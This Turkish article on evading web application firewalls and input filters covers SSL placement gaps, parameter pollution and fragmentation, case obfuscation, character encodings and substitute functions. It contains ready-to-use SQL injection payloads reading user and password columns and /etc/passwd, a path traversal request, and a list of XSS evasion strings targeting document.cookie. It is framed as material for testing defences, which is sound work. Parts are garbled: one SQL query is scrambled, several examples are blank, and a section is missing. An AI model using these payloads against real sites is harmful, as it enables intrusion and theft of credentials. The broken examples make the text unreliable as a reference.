Deniz Çevik
deniz.cevik@biznet.com.tr
WAF Sistemlerini ve Uygulama Filtrelerini Atlatma Teknikleri
Web Application Firewall
; web uygulamalarını uygulama
geliştiricilerden bağımsız olarak korumak için tasarlananan ve web uygulamasına yönelik
saldırılara özel koruma önlemleri sağlayan sistemlerdir. Bunun yanı sıra uygulama geliştiricileri
de kendi hazırladıkları fonksiyonlar ile sorun oluşturabilecek bazı ifadeleri filtreleyerek bu tip
problemlere çözüm üretmeye çalışmaktadırlar.
(WAF) sistemleri
Bununla birlikte kullanılan bu sistemler, gerek yapılandırma hatası gerekse de korumanın
tamamen veya kısmen blacklist'lere dayandırılmış olması nedeni ile kimi durumlarda devre dışı
bırakılabilmektedir. Bu tip sistemleri atlatmak için kullanılabilecek yöntemleri maddeler halinde
anlatılmaya çalışılacaktır.
1- SSL Üzerinden WAF/IPS Sistemlerini Atlatma
WAF veya IPS sistemlerini konumlandırırken en sık yapılan hata genellikle SSL servisleri
için gerekli ayarların yapılmamış olmasıdır.
SSL güvenli veri iletimi sağlamak için kullanıcı ve sunucu arasındaki trafiği şifrelediği için,
bu kanal içinden aktarılan saldırı aktivitelerinin görülebilmesi için; SSL trafiğinin bu sistemler
üzerinde sonlandırılması ile veya trafiğin açıldıktan sonra sunuculara yollandığı bir bölgede
(SSL offloader veya reverse Proxy sistemleri ile sunucular arasında) konumlandırılması ile
mümkün olabilir.
Dolayısı ile bu şekilde konumlandırılmayan saldırı tespit sistemleri SSL trafiğini analiz
edemeyecek ve saldırıları engelleyemeyecektir. Gerekli ayarların yapılıp yapılmadığını anlamak
için kullanılabilecek en basit yöntem, saldırı tespit sistemi tarafından engelleneceği bilinen bir
isteğin sunucuya hem HTTP hem de HTTPS veya SSL aktif edilmiş sistem üzerinden yollanması
olacaktır.
Örneğin GET /../../../../../etc/passwd HTTP/1.0 dizin atlatma tekniğini kullanan bir saldırı
imzası ile bu gerçekleştirilebilir. Eğer ilgili istek her iki kanaldan yollandığında da
engellenebiliyorsa, gerekli ayarların yapıldığını söylemek yanlış olmayacaktır.
2- Güçlü SSL Cipher'ları Kullanarak Güvenlik Kontrollerini Atlatma
Kullanılan harici güvenlik önlemleri SSL trafiğini analiz edebilmek için ayarlanmış olsalar
bile çoğu durumda bu ayar tek başına yeterli olmayacaktır. Bu tip sistemler tarafından
desteklenmeyen fakat sunucu üzerindeki desteği bulunan SSL cipher'ları kullanılarak ta mevcut
kontrolleri devre dışı bırakmak mümkün olabilir.
Bunun
için Diffie-Hellman anahtar değişimi kullanılabilir. Bu yöntem kriptografik
anahtarların değişiminde kullanılan özel bir yöntem olup kriptografi alanında uygulanan ilk
pratik anahtar değişimi örneklerinden biridir. Diffie-Hellman anahtar değişimi metodu karşılıklı
iki tarafın ortaklaşa güvensiz medya üzerinden ortak gizli anahtar elde etmelerine olanak
sağlar. Bu anahtar daha sonra bir simetrik anahtar şifre kullanarak sonraki güvenli olmayan
kanal'dan iletişim'i şifrelemek için kullanılabilir.
3- Basit İstekler Kullanmak
WAF sistemleri genellikle önceden oluşturulmuş blacklist (istek içinde select ifadesi
geçiyorsa engelle) ve whitelist (parametre değeri yalnızca 0 ve 65535 arasında olabilir, bu
kurala uymayan bir istek geliyor ise engelle) listeleri ile gelen istekleri karşılaştırarak, bir saldırı
olup olmadığını tespit ederler. Özellikle black list kontrolleri belirli ifadelerin oluşması
durumunda saldırıları tespit edeceği için sadece ', "> gibi ifadelerin yollanması durumunda
bu tip istekleri engelleyemeyebilirler. Örneğin aşağıdaki gibi bir istek güvenlik kontrollerine
takılırken
http://www.site.com.tr/uyg.asp?id=123'+union+selec+1,2,3--
Parametre sonuna sadece ' karakteri eklenerek yollanan aşağıdaki gibi bir istek
uygulamaya ulaşabilir.
http://www.site.com.tr/uyg.asp?id=123'
Bu isteğin oluşturacağı hata mesajlarından, kontrol edilen uygulamada bir SQL Injection
güvenlik problemi bulunup bulunmadığı ortaya çıkartılabilir. Her ne kadar saldırıdan
yararlanmak için gerekli ifadeler engellenmiş olsa da, WAF sistemleri söz konusu problemin var
olduğunun belirlenmesinin önüne geçemeyecektirler.
XSS saldırılarında ise aşağıdaki gibi bir istek ile uygulamanın oluşturduğu çıktılarda bu
ifadelerin encode edilip edilmediği kontrol edilerek uygulamanın XSS saldırılarından etkilenip
etkilenmeyeceğini belirlemek mümkün olabilir.
http://www.site.com.tr/uyg.asp?id=123<12("/>
4- HTTP Parameter Pollution (HPP) Tekniklerini Kullanmak
HTTP parameter pollution; uygulamalara var olan parametre isimi ile aynı olan yeni bir
parametre ekleyerek gerçekleştirilen saldırı tekniğidir. Örneğin normal uygulama ve
parametreleri aşağıdaki gibi iken;
http://www.site.com.tr/uyg.asp?id=123
Saldırgan aynı parametre ismini kullanarak eklediği ek parametre ile uygulama çalışma
mekanizmasını karıştırabilir.
http://www.site.com.tr/uyg.asp?id=123&id=456
Uygulamalar genellikle bu tarz isteklere farklı şekillerde cevap vermektedirler.
Uygulama ya sadece ilk gelen parametre değerini (id=123), ya son parametre değerini
(id=456) yada her ikisini değişik sekilerde birleştirerek (id=123,456) parametre değeri olarak
almaktadır.
Örneğin; Apache web sunucusu üzerinde çalışan uygulamalar son gelen değeri
parametre değeri olarak kabul ederken, ASP.NET uygulamaları her iki değeri , ile birleştirerek
kullanmaktadır. Uygulamaların bu tip isteklere nasıl davrandıkları ve sorun ile ilgili daha detaylı
bilgiye aşağıdaki linkte sunulan sunumdan ulaşmak mümkündür.
http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Özellikle ASP ve ASP.NET uygulamalarının aynı parametre ismi ile yollanan bilgileri
birleştirerek kullanması WAF ve IPS sistemlerini atlatmada kullanılabilecek yeni bir yöntemi
bizlere sunmaktadır. Örneğin aşağıdaki gibi bir isteği bu yöntemle parçalayarak yollama
yöntemi mevcut güvenlik kontrollerini atlatmamıza izin verecektir.
http://www.site.com.tr/uyg.asp?id=123+select+1,2,3+from+table
http://www.site.com.tr/uyg.asp?id=123+select+1&id=2,3+from+table
Açıklama ifadelerini de kullanarak eklenecek sorguları bu yöntemi kullanarak istediğimiz
gibi şekillendirebiliriz.
http://www.site.com.tr/uyg.asp?id=select/*&id=*/user&id=pass/*&id=*/from/*&id=*/users
id=select/*,*/user,pass/*,*/from/*,*/users
Sunuculara göre HPP davranışları tablosunu aşağıda görebilirsiniz;
5- HTTP Parameter Fragmentation (HPF) Yöntemi İle Koruma Önlemlerini Atlatma
Bu teknik uygulamanın birden çok parametreyi SQL sorgularında kullanması durumunda
uygulanabilmektedir. Saldırı isteği bu parametreler arasında bölünerek güvenlik kontrolleri
devre dışı bırakılmaya çalışılır. Ancak saldırının başarılı olabilmesi için uygulama tarafından
hazırlanan SQL sorgusunun buna izin vermesi gerekecektir. Örneğin SQL sorgusu aşağıdaki
gibi hazırlanmış ise
("select
prodid=".$_GET['prodid']." order by ".$_GET['priceid']);
table1.markt
where
brandid=".$_GET['brandid']."
and
*
from
ve istekler aşağıdaki gibi parametreler arasında paylaştırılarak yollanırsa
uyg.asp?brandid=123+union/*&prodid=*/select+user,pass/*&price=*/from users--
sorgu aşağıdaki gibi şekillenecek ve istenilen işlemler gerçekleştirilebilecektir. Orijinal sorguda
kendi eklediğimiz sorguları çalıştırmamıza izin vermeyecek bölümler ise eklediğimiz /* */
açıklama alanları ile iptal edilebilir.
select
username,pass/*order by*/from users--
table1.markt
*
from
where
brand=123
union/*
and
prodid=*/select
6- Basit Karmaşıklaştırma Teknikleri İle Koruma Önlemlerini Atlatma
Özellikle uygulama geliştiriciler bazı problemleri engellemek için belirli anahtar kelimelere
göre filtreleme fonksiyonları hazırlayabilmektedirler. Örneğin Cross-Site Scripting saldırılarını
engellemek için script, alert, src; SQL Injection saldırılarını engellemek için ise select, union,
from gibi ifadeler geçen istekleri filtreleyen veya bunları içerikten silerek çözüm üretmeye
çalışan fonksiyonlar ile sıkça karşılaşılmaktadır. Ancak filtreleme fonksiyonlarında gerekli
kontrollerin düzgün yapılmaması nedeni ile saldırı ifadeleri içinde büyük ve küçük harfleri
karışık olarak kullanılarak gerçekleştirilen saldırılarda başarı elde edilebilmektedir.
Örneğin bu tarz filtrelerde gibi
büyük küçük harfler bir arada kullanılarak karmaşıklaştırılmış bir istek filtreden kaçabilmektedir.
Mevcut önlemleri test etmek için aşağıdaki gibi karmaşıklaştırılmış ifadelerden faydalanılabilir.
uyg.asp?id=
uyg.asp?id=123 uNion SeLeCT user,1,2,3 fRom table
uyg.asp?id=123 uniOn SeLEcT BaNneR FroM v$vERsIon WhERe ROwNUm=1
7- Encoding Teknikleri Kullanmak
Blacklist temelli kontrolleri atlatmak için kullanılabilecek bir diğer yöntem ise saldırı
isteklerini kısmen veya tamamen sunucu tarafından desteklenen encoding yöntemleri ile
değiştirerek yollamaktır. Örneğin çoğu uygulamada web uygulama problemlerinin ortaya
çıkmasına neden olan ', ", <, >, /, ;, |, \ gibi karakterlerin filtrelendiği veya bu karakterlerinin
kullanılması durumunda önlerine \ karakteri eklenerek (escaping) veya çıktılarda encode
edilerek işlendiği görülmektedir. Ancak bu işlem sadece bu karakterlerin normal veya birkaç
farklı gösterimi için gerçekleştirilmesi durumunda değişik encoding yöntemleri ile bu kontroller
atlatılabilmektedir.
Örneğin ' karakterinin farklı gösterimleri aşağıda sunulmuştur.
URL Encode - %27
Double URL Encode - %2527
UTF-8 (2 byte) - %c0%a7
UTF-8 (JAVA) - \uc0a7
HTML Entity - '
HTML Entity Number -
Decimal - '
Unicode URL Encoding - %u0027
Base64 - Jw==
Bu bağlamda aşağıda, mevcut kontrolleri test etmek için kullanılabilecek örnek istekler
yer almaktadır. Kullanılan güvenlik filtreleri tarafından yakalanan saldırı ifadeleri değişik
encoding teknikleri ile birlikte kullanarak, uygulamanın ve web sunucusunun da izin vermesi
durumunda bu kontrollerin atlatılması mümkün olabilir.
Bu tip istekler aynı zamanda WAF veya IPS sistemleri tarafından da zararlı olmayan istekler
olarak ele alınabilmektedir. Aşağıda bu tip XSS saldırı imzaları yer almaktadır.
uyg.asp?id="+onmouseover="window.location='http://www.site.com.tr/code.js'
uyg.asp?id="+style%3d"x%3aexpression(alert(1))+
uyg.asp?id="+onkeypress="alert(23)"+"
uyg.asp?id=123); alert(document.cookie);//
uyg.asp?id=javascript:alert(1)
uyg.asp?id=alert(document.cookie)
uyg.asp?id=alert(document['cookie'])
uyg.asp?id=with(document)alert(cookie)
uyg.asp?id=";location=location.hash)//#0={};alert(0)
uyg.asp?id=//";alert(String.fromCharCode(88,83,83))
uyg.asp?id=%F6%3Cimg+onmouseover=prompt(/test/)//%F6%3E
uyg.asp?id=%'});%0aalert(1);%20//
uyg.asp?id=%";eval(unescape(location))//#%0Aalert(0)
uyg.asp?id=0;url=javascript:alert(1)" http-equiv="refresh" "
uyg.asp?id=onError="javascript:decipher(document.forms.cipher);
alert(document.forms.cipher.stream.value); document.forms.cipher.stream.value =
document.forms.cipher.stream_copy.value;
PHP uygulamalarda ise magic_quotes fonksiyonu genellikle ' ve " karakterlerini
filtrelemek için kullanılmaktadır. Bu kontrolleri atlatmak için ise aşağıdaki gibi istekler
kullanılabilir.
uyg.php?id=
Eğer arka planda MYSQL veri tabanı kullanılıyor ise ' karakterine gerek kalmadan Hex Encoding
ile bu kontrolleri atlatmak mümkün olacaktır. Örneğin SQL sorgularında load_file('/etc/passwd')
yerine bunun hex encoded gösterimi ' işaretine gerek kalmadan aşağıdaki gibi kullanılabilir.
uyg.php?id=10+UNION+SELECT+LOAD_FILE(0x2f6574632f706173737764)
uyg.asp?id=if(substring(USER(),1,4)=0x726f6f74,SLEEP(5),1)
9- Aynı İşlevi Gören Farklı Fonksiyonlar Kullanmak
Blacklist'e dayalı kontroller saldırılarda yaygın olarak kullanılan anahtar kelimelere göre
oluşturulduğu için genellikle aynı amaca yönelik hazırlanmış benzer veya farklı fonksiyonları
kullanarak devre dışı bırakılabilmektedir. Örneğin SQL Injection saldırılarını engellemek için
union ve select ifadeleri genellikle filtrelenmektedir. Ancak bu ifadeler kullanılmadan aynı işlevi
yerine getirecek ve blacklist'lerde tanımlı olmayan diğer fonksiyonlar bu tip kontrollerin ne
kadar yetersiz olduğunu gösterecektir. Aşağıda birbirleri yerine kullanılabilecek örnek
fonksiyonlar bulunmaktadır.
Örneğin XSS için Alert fonkisyonu yerine Prompt fonksiyonunu kullanmak
uyg.asp?id=
uyg.asp?id=
Script yerine farklı tag'ler kullanmak
uyg.asp?id=
uyg.asp?id=